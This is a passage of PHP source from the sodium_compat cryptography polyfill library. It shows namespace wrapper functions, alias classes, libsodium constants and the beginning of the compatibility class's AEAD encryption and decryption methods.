ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey($sk);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_secretkey()
     * @param string $keypair
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_secretkey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_secretkey($keypair);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_seed_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_seed_keypair()
     * @param string $seed
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_seed_keypair($seed)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_seed_keypair($seed);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_verify_detached')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_verify_detached()
     * @param string $signature
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_verify_detached($signature, $message, $pk)
    {
        return
ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message,
$pk);
    }
}
if
(!is_callable('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519()
     * @param string $pk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_ed25519_pk_to_curve25519($pk)
    {
        return
ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($pk);
    }
}
if
(!is_callable('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519()
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_ed25519_sk_to_curve25519($sk)
    {
        return
ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($sk);
    }
}
if (!is_callable('\\Sodium\\crypto_stream')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream()
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_stream($len, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_stream($len, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_stream_xor')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_xor()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_stream_xor($message, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_stream_xor($message, $nonce,
$key);
    }
}
if (!is_callable('\\Sodium\\hex2bin')) {
    /**
     * @see ParagonIE_Sodium_Compat::hex2bin()
     * @param string $string
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function hex2bin($string)
    {
        return ParagonIE_Sodium_Compat::hex2bin($string);
    }
}
if (!is_callable('\\Sodium\\memcmp')) {
    /**
     * @see ParagonIE_Sodium_Compat::memcmp()
     * @param string $a
     * @param string $b
     * @return int
     * @throws \SodiumException
     * @throws \TypeError
     */
    function memcmp($a, $b)
    {
        return ParagonIE_Sodium_Compat::memcmp($a, $b);
    }
}
if (!is_callable('\\Sodium\\memzero')) {
    /**
     * @see ParagonIE_Sodium_Compat::memzero()
     * @param string $str
     * @return void
     * @throws \SodiumException
     * @throws \TypeError
     */
    function memzero(&$str)
    {
        ParagonIE_Sodium_Compat::memzero($str);
    }
}
if (!is_callable('\\Sodium\\randombytes_buf')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_buf()
     * @param int $amount
     * @return string
     * @throws \TypeError
     */
    function randombytes_buf($amount)
    {
        return ParagonIE_Sodium_Compat::randombytes_buf($amount);
    }
}

if (!is_callable('\\Sodium\\randombytes_uniform')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_uniform()
     * @param int $upperLimit
     * @return int
     * @throws \Exception
     * @throws \Error
     */
    function randombytes_uniform($upperLimit)
    {
        return ParagonIE_Sodium_Compat::randombytes_uniform($upperLimit);
    }
}

if (!is_callable('\\Sodium\\randombytes_random16')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_random16()
     * @return int
     */
    function randombytes_random16()
    {
        return ParagonIE_Sodium_Compat::randombytes_random16();
    }
}

if (!defined('\\Sodium\\CRYPTO_AUTH_BYTES')) {
    require_once dirname(__FILE__) . '/constants.php';
}
/*
 * ISC License
 *
 * Copyright (c) 2016-2018
 * Paragon Initiative Enterprises <security at paragonie dot com>
 *
 * Copyright (c) 2013-2018
 * Frank Denis <j at pureftpd dot org>
 *
 * Permission to use, copy, modify, and/or distribute this software for any
 * purpose with or without fee is hereby granted, provided that the above
 * copyright notice and this permission notice appear in all copies.
 *
 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL
WARRANTIES
 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
 */<?php
namespace ParagonIE\Sodium;

class Compat extends \ParagonIE_Sodium_Compat
{

}
<?php
namespace ParagonIE\Sodium\Core;

class BLAKE2b extends \ParagonIE_Sodium_Core_BLAKE2b
{

}
<?php
namespace ParagonIE\Sodium\Core\ChaCha20;

class Ctx extends \ParagonIE_Sodium_Core_ChaCha20_Ctx
{

}
<?php
namespace ParagonIE\Sodium\Core\ChaCha20;

class IetfCtx extends \ParagonIE_Sodium_Core_ChaCha20_IetfCtx
{

}
<?php
namespace ParagonIE\Sodium\Core;

class ChaCha20 extends \ParagonIE_Sodium_Core_ChaCha20
{

}
<?php
namespace ParagonIE\Sodium\Core\Curve25519;

class Fe extends \ParagonIE_Sodium_Core_Curve25519_Fe
{

}
<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class Cached extends \ParagonIE_Sodium_Core_Curve25519_Ge_Cached
{

}
<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class P1p1 extends \ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
{

}
<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class P2 extends \ParagonIE_Sodium_Core_Curve25519_Ge_P2
{

}
<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class P3 extends \ParagonIE_Sodium_Core_Curve25519_Ge_P3
{

}
<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class Precomp extends \ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
{

}
<?php
namespace ParagonIE\Sodium\Core\Curve25519;

class H extends \ParagonIE_Sodium_Core_Curve25519_H
{

}
<?php
namespace ParagonIE\Sodium\Core;

class Curve25519 extends \ParagonIE_Sodium_Core_Curve25519
{

}
<?php
namespace ParagonIE\Sodium\Core;

class Ed25519 extends \ParagonIE_Sodium_Core_Ed25519
{

}
<?php
namespace ParagonIE\Sodium\Core;

class HChaCha20 extends \ParagonIE_Sodium_Core_HChaCha20
{

}
<?php
namespace ParagonIE\Sodium\Core;

class HSalsa20 extends \ParagonIE_Sodium_Core_HSalsa20
{

}
<?php
namespace ParagonIE\Sodium\Core\Poly1305;

class State extends \ParagonIE_Sodium_Core_Poly1305_State
{

}
<?php
namespace ParagonIE\Sodium\Core;

class Poly1305 extends \ParagonIE_Sodium_Core_Poly1305
{

}
<?php
namespace ParagonIE\Sodium\Core;

class SipHash extends \ParagonIE_Sodium_Core_Salsa20
{

}<?php
namespace ParagonIE\Sodium\Core;

class SipHash extends \ParagonIE_Sodium_Core_SipHash
{

}
<?php
namespace ParagonIE\Sodium\Core;

class Util extends \ParagonIE_Sodium_Core_Util
{

}
<?php
namespace ParagonIE\Sodium\Core;

class X25519 extends \ParagonIE_Sodium_Core_X25519
{

}
<?php
namespace ParagonIE\Sodium\Core;

class XChaCha20 extends \ParagonIE_Sodium_Core_XChaCha20
{

}
<?php
namespace ParagonIE\Sodium\Core;

class Xsalsa20 extends \ParagonIE_Sodium_Core_Xsalsa20
{

}
<?php
namespace ParagonIE\Sodium;

class Crypto extends \ParagonIE_Sodium_Crypto
{

}
<?php
namespace ParagonIE\Sodium;

class File extends \ParagonIE_Sodium_File
{

}
<?php

/**
 * Libsodium compatibility layer
 *
 * This is the only class you should be interfacing with, as a user of
 * sodium_compat.
 *
 * If the PHP extension for libsodium is installed, it will always use that
 * instead of our implementations. You get better performance and stronger
 * guarantees against side-channels that way.
 *
 * However, if your users don't have the PHP extension installed, we
offer a
 * compatible interface here. It will give you the correct results as if
the
 * PHP extension was installed. It won't be as fast, of course.
 *
 * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION *
CAUTION *
 *                                                                         
     *
 *     Until audited, this is probably not safe to use! DANGER WILL
ROBINSON     *
 *                                                                         
     *
 * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION *
CAUTION *
 */

if (class_exists('ParagonIE_Sodium_Compat', false)) {
    return;
}

class ParagonIE_Sodium_Compat
{
    /**
     * This parameter prevents the use of the PECL extension.
     * It should only be used for unit testing.
     *
     * @var bool
     */
    public static $disableFallbackForUnitTests = false;

    /**
     * Use fast multiplication rather than our constant-time multiplication
     * implementation. Can be enabled at runtime. Only enable this if you
     * are absolutely certain that there is no timing leak on your
platform.
     *
     * @var bool
     */
    public static $fastMult = false;

    const LIBRARY_VERSION_MAJOR = 9;
    const LIBRARY_VERSION_MINOR = 1;
    const VERSION_STRING = 'polyfill-1.0.8';

    // From libsodium
    const CRYPTO_AEAD_AES256GCM_KEYBYTES = 32;
    const CRYPTO_AEAD_AES256GCM_NSECBYTES = 0;
    const CRYPTO_AEAD_AES256GCM_NPUBBYTES = 12;
    const CRYPTO_AEAD_AES256GCM_ABYTES = 16;
    const CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES = 0;
    const CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES = 8;
    const CRYPTO_AEAD_CHACHA20POLY1305_ABYTES = 16;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES = 0;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES = 12;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES = 16;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES = 32;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES = 0;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES = 24;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES = 16;
    const CRYPTO_AUTH_BYTES = 32;
    const CRYPTO_AUTH_KEYBYTES = 32;
    const CRYPTO_BOX_SEALBYTES = 16;
    const CRYPTO_BOX_SECRETKEYBYTES = 32;
    const CRYPTO_BOX_PUBLICKEYBYTES = 32;
    const CRYPTO_BOX_KEYPAIRBYTES = 64;
    const CRYPTO_BOX_MACBYTES = 16;
    const CRYPTO_BOX_NONCEBYTES = 24;
    const CRYPTO_BOX_SEEDBYTES = 32;
    const CRYPTO_KX_BYTES = 32;
    const CRYPTO_KX_SEEDBYTES = 32;
    const CRYPTO_KX_PUBLICKEYBYTES = 32;
    const CRYPTO_KX_SECRETKEYBYTES = 32;
    const CRYPTO_GENERICHASH_BYTES = 32;
    const CRYPTO_GENERICHASH_BYTES_MIN = 16;
    const CRYPTO_GENERICHASH_BYTES_MAX = 64;
    const CRYPTO_GENERICHASH_KEYBYTES = 32;
    const CRYPTO_GENERICHASH_KEYBYTES_MIN = 16;
    const CRYPTO_GENERICHASH_KEYBYTES_MAX = 64;
    const CRYPTO_PWHASH_SALTBYTES = 16;
    const CRYPTO_PWHASH_STRPREFIX = '$argon2i$';
    const CRYPTO_PWHASH_ALG_ARGON2I13 = 1;
    const CRYPTO_PWHASH_ALG_ARGON2ID13 = 2;
    const CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE = 33554432;
    const CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE = 4;
    const CRYPTO_PWHASH_MEMLIMIT_MODERATE = 134217728;
    const CRYPTO_PWHASH_OPSLIMIT_MODERATE = 6;
    const CRYPTO_PWHASH_MEMLIMIT_SENSITIVE = 536870912;
    const CRYPTO_PWHASH_OPSLIMIT_SENSITIVE = 8;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES = 32;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX = '$7$';
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE = 534288;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE =
16777216;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE = 33554432;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE =
1073741824;
    const CRYPTO_SCALARMULT_BYTES = 32;
    const CRYPTO_SCALARMULT_SCALARBYTES = 32;
    const CRYPTO_SHORTHASH_BYTES = 8;
    const CRYPTO_SHORTHASH_KEYBYTES = 16;
    const CRYPTO_SECRETBOX_KEYBYTES = 32;
    const CRYPTO_SECRETBOX_MACBYTES = 16;
    const CRYPTO_SECRETBOX_NONCEBYTES = 24;
    const CRYPTO_SIGN_BYTES = 64;
    const CRYPTO_SIGN_SEEDBYTES = 32;
    const CRYPTO_SIGN_PUBLICKEYBYTES = 32;
    const CRYPTO_SIGN_SECRETKEYBYTES = 64;
    const CRYPTO_SIGN_KEYPAIRBYTES = 96;
    const CRYPTO_STREAM_KEYBYTES = 32;
    const CRYPTO_STREAM_NONCEBYTES = 24;

    /**
     * Cache-timing-safe implementation of bin2hex().
     *
     * @param string $string A string (probably raw binary)
     * @return string        A hexadecimal-encoded string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function bin2hex($string)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($string,
'string', 1);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_bin2hex($string);
        }
        if (self::use_fallback('bin2hex')) {
            return (string) call_user_func('\\Sodium\\bin2hex',
$string);
        }
        return ParagonIE_Sodium_Core_Util::bin2hex($string);
    }

    /**
     * Compare two strings, in constant-time.
     * Compared to memcmp(), compare() is more useful for sorting.
     *
     * @param string $left  The left operand; must be a string
     * @param string $right The right operand; must be a string
     * @return int          < 0 if the left operand is less than the
right
     *                      = 0 if both strings are equal
     *                      > 0 if the right operand is less than the
left
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function compare($left, $right)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($left,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($right,
'string', 2);

        if (self::useNewSodiumAPI()) {
            return (int) sodium_compare($left, $right);
        }
        if (self::use_fallback('compare')) {
            return (int) call_user_func('\\Sodium\\compare',
$left, $right);
        }
        return ParagonIE_Sodium_Core_Util::compare($left, $right);
    }

    /**
     * Is AES-256-GCM even available to use?
     *
     * @return bool
     * @psalm-suppress UndefinedFunction
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aes256gcm_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return sodium_crypto_aead_aes256gcm_is_available();
        }
        if
(self::use_fallback('crypto_aead_aes256gcm_is_available')) {
            return
call_user_func('\\Sodium\\crypto_aead_aes256gcm_is_available');
        }
        if (PHP_VERSION_ID < 70100) {
            // OpenSSL doesn't support AEAD before 7.1.0
            return false;
        }
        if (!is_callable('openssl_encrypt') ||
!is_callable('openssl_decrypt')) {
            // OpenSSL isn't installed
            return false;
        }
        return (bool) in_array('aes-256-gcm',
openssl_get_cipher_methods());
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     AES-256-GCM
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC
appended)
     * @param string $assocData  Authenticated Associated Data
(unencrypted)
     * @param string $nonce      Number to be used only Once; must be 8
bytes
     * @param string $key        Encryption key
     *
     * @return string|bool       The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aes256gcm_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        if (!self::crypto_aead_aes256gcm_is_available()) {
            throw new SodiumException('AES-256-GCM is not
available');
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) {
            throw new SodiumException('Nonce must be
CRYPTO_AEAD_AES256GCM_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AEAD_AES256GCM_KEYBYTES) {
            throw new SodiumException('Key must be
CRYPTO_AEAD_AES256GCM_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) <
self::CRYPTO_AEAD_AES256GCM_ABYTES) {
            throw new SodiumException('Message must be at least
CRYPTO_AEAD_AES256GCM_ABYTES long');
        }
        if (!is_callable('openssl_decrypt')) {
            throw new SodiumException('The OpenSSL extension is not
installed, or openssl_decrypt() is not available');
        }

        /** @var string $ctext */
        $ctext = ParagonIE_Sodium_Core_Util::substr($ciphertext, 0,
-self::CRYPTO_AEAD_AES256GCM_ABYTES);
        /** @var string $authTag */
        $authTag = ParagonIE_Sodium_Core_Util::substr($ciphertext,
-self::CRYPTO_AEAD_AES256GCM_ABYTES, 16);
        return openssl_decrypt(
            $ctext,
            'aes-256-gcm',
            $key,
            OPENSSL_RAW_DATA,
            $nonce,
            $authTag,
            $assocData
        );
    }

    /**
     * Authenticated Encryption with Associated Data: Encryption
     *
     * Algorithm:
     *     AES-256-GCM
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 8
bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with a 16-byte GCM message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_aes256gcm_encrypt(
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        if (!self::crypto_aead_aes256gcm_is_available()) {
            throw new SodiumException('AES-256-GCM is not
available');
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) {
            throw new SodiumException('Nonce must be
CRYPTO_AEAD_AES256GCM_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AEAD_AES256GCM_KEYBYTES) {
            throw new SodiumException('Key must be
CRYPTO_AEAD_AES256GCM_KEYBYTES long');
        }

        if (!is_callable('openssl_encrypt')) {
            throw new SodiumException('The OpenSSL extension is not
installed, or openssl_encrypt() is not available');
        }

        $authTag = '';
        $ciphertext = openssl_encrypt(
            $plaintext,
            'aes-256-gcm',
            $key,
            OPENSSL_RAW_DATA,
            $nonce,
            $authTag,
            $assocData
        );
        return $ciphertext . $authTag;
    }

    /**
     * Return a secure random key for use with the AES-256-GCM
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_aes256gcm_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_AES256GCM_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC
appended)
     * @param string $assocData  Authenticated Associated Data
(unencrypted)
     * @param string $nonce      Number to be used only Once; must be 8
bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_chacha20poly1305_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) {
            throw new SodiumException('Nonce must be
CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be
CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) <
self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) {
            throw new SodiumException('Message must be at least
CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_aead_chacha20poly1305_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if
(self::use_fallback('crypto_aead_chacha20poly1305_decrypt')) {
            return call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_decrypt',
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 8
bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_chacha20poly1305_encrypt(
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) {
            throw new SodiumException('Nonce must be
CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be
CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_aead_chacha20poly1305_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if
(self::use_fallback('crypto_aead_chacha20poly1305_encrypt')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_encrypt',
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     * Regular mode uses a 64-bit random nonce with a 64-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC
appended)
     * @param string $assocData  Authenticated Associated Data
(unencrypted)
     * @param string $nonce      Number to be used only Once; must be 12
bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_chacha20poly1305_ietf_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be
CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be
CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) <
self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) {
            throw new SodiumException('Message must be at least
CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_aead_chacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if
(self::use_fallback('crypto_aead_chacha20poly1305_ietf_decrypt'))
{
            return call_user_func(
               
'\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt',
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the ChaCha20-Poly1305
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_chacha20poly1305_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     * Regular mode uses a 64-bit random nonce with a 64-bit counter.
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce Number to be used only Once; must be 8 bytes
     * @param string $key Encryption key
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_chacha20poly1305_ietf_encrypt(
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData,
'string', 2);
